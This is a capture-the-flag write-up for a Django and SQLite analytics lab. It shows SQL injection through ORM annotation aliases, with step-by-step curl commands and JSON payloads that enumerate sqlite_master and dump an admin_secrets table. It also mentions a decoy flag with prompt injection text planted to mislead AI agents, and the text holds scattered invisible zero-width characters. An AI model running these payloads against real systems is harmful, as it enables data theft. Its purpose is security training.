MetricFlow

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: binary_search_extraction, boolean_based_blind_sqli, decoy_flag_avoidance, django_orm_annotation_alias_injection, event_filter_injection, sqlite_schema_enumeration, subquery_injection_via_alias_breakout

Summary

Task: Business analytics platform with Report Builder that passes metric alias names directly into Django ORM annotate() calls, placing them in double-quoted SQL identifiers. Solution: Inject double quote in alias to break out of identifier context, add subquery to SELECT clause to enumerate sqlite_master and extract flag from admin_secrets table.

MetricFlow — HackAdvisor

Description

You are testing MetricFlow, a business analytics platform by FlowData Inc. that helps teams track KPIs and build custom reports. The platform features real-time dashboards, event tracking, a custom report builder with flexible metric configuration, and team collaboration tools. Users can create dynamic reports by selecting data sources, defining custom metrics with aliases, and applying filters. Your goal is to find and exploit a vulnerability to retrieve the secret flag stored somewhere in the system. Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A Django-based analytics platform with a Report Builder feature. Users define custom metrics with aliases that are passed directly into Django ORM annotate() calls. The alias becomes a double-quoted SQL identifier, which can be broken out of via double-quote injection to add arbitrary subqueries to the SELECT clause.

Analysis

Application Structure

Stack: Django with SQLite backend.

Decoy Flag

A honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments on the /reports/ page, accompanied by prompt injection text designed to trick AI agents into submitting it. This was identified and ignored.

Vulnerability Discovery

Inspecting /static/js/reports.js revealed the critical comment:

 javascript read-only • copy allowed Copy
// Alias becomes the annotation key in Django ORM annotate(**{alias: FilteredRelation(...)})

The Report Builder sends a POST request to /api/reports/preview/ with a JSON body where the metric object keys (aliases) are used directly as annotation keys in Django's ORM: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{
  "metrics": {
    "total_revenue": {
      "field": "amount",
      "aggregation": "SUM",
      "relation": "transactions",
      "filter": {"status": "completed"}
    }
  },
  "date_range": "last_30_days"
}

Django's annotate(**{alias: ...}) places the alias in double quotes in the generated SQL:

 sql read-only • copy allowed Copy
SELECT SUM(t.amount) AS "total_revenue" FROM analytics_event e
LEFT JOIN analytics_transaction t ON t.event_id = e.id
WHERE e.created_at >= '...'

Since the alias is user-controlled and placed inside double quotes, injecting a " character breaks out of the identifier context. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirming SQL Injection

Sending alias x" produced a SQL syntax error that revealed the query structure:

"x"" FROM analytics_event e LEFT JOIN analytics_transaction t ON t.event_id = e.id WHERE e.created_at >= '2026-04-23 18:08:33'"

This confirmed:

1. SQLite backend
2. The alias is directly interpolated into SQL without sanitization
3. Double-quote injection breaks the query

Solution

Step 1: Login

 bash read-only • copy allowed Copy
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Enumerate Tables via sqlite_master

Inject a subquery into the SELECT clause by closing the alias quote and adding a new column:

Alias: x", (SELECT group_concat(name) FROM sqlite_master) AS "tables

This transforms the query to:

 sql read-only • copy allowed Copy
SELECT SUM(t.amount) AS "x", (SELECT group_concat(name) FROM sqlite_master) AS "tables"
FROM analytics_event e LEFT JOIN analytics_transaction t ON t.event_id = e.id WHERE ...

Result: Found table admin_secrets among others.

Step 3: Extract Table Schema

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alias: x", (SELECT sql FROM sqlite_master WHERE name='admin_secrets') AS "schema

Result:

 sql read-only • copy allowed Copy
CREATE TABLE "admin_secrets" (
    "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT,
    "key" varchar(100) NOT NULL UNIQUE,
    "secret" text NOT NULL
)

Step 4: Extract the Flag

Alias: x", (SELECT group_concat(key || ':' || secret, '|') FROM admin_secrets) AS "secrets

Full payload:

 bash read-only • copy allowed Copy
curl -b cookies.txt -X POST 'https://TARGET/api/reports/preview/' \
  -H 'Content-Type: application/json' \
  -d '{
    "metrics": {
      "x\", (SELECT group_concat(key || '\'':'\'' || secret, '\''|'\'') FROM admin_secrets) AS \"secrets": {
        "field": "amount",
        "aggregation": "SUM",
        "relation": "transactions",
        "filter": {"status": "completed"}
      }
    },
    "date_range": "last_30_days"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Equivalent JSON payload (for clarity):

 json read-only • copy allowed Copy
{
  "metrics": {
    "x\", (SELECT group_concat(key || ':' || secret, '|') FROM admin_secrets) AS \"secrets": {
      "field": "amount",
      "aggregation": "SUM",
      "relation": "transactions",
      "filter": {"status": "completed"}
    }
  },
  "date_range": "last_30_days"
}

Response:

 json read-only • copy allowed Copy
{
  "data": [
    {
      "x": 15278.84,
      "secrets": "FLAG:FLAG{REDACTED}|MASTER_API_KEY:mf_master_sk_9x2v7p4w1q8r5t0u3n6m"
    }
  ],
  "query_time": "0.023s"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Injection Mechanism Explained

The core vulnerability is that Django's annotate(**{alias: ...}) trusts the dictionary key to be a safe Python identifier. When the alias contains a double quote, it breaks out of the SQL identifier quoting:

Before injection:
  SELECT SUM(t.amount) AS "total_revenue" FROM ...

After injection (alias = x", (subquery) AS "secrets):
  SELECT SUM(t.amount) AS "x", (subquery) AS "secrets" FROM ...

This is not a standard parameterized query bypass — it exploits the fact that Django ORM annotation keys are used as SQL identifiers (column aliases), which are quoted with double quotes but never sanitized for embedded quotes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍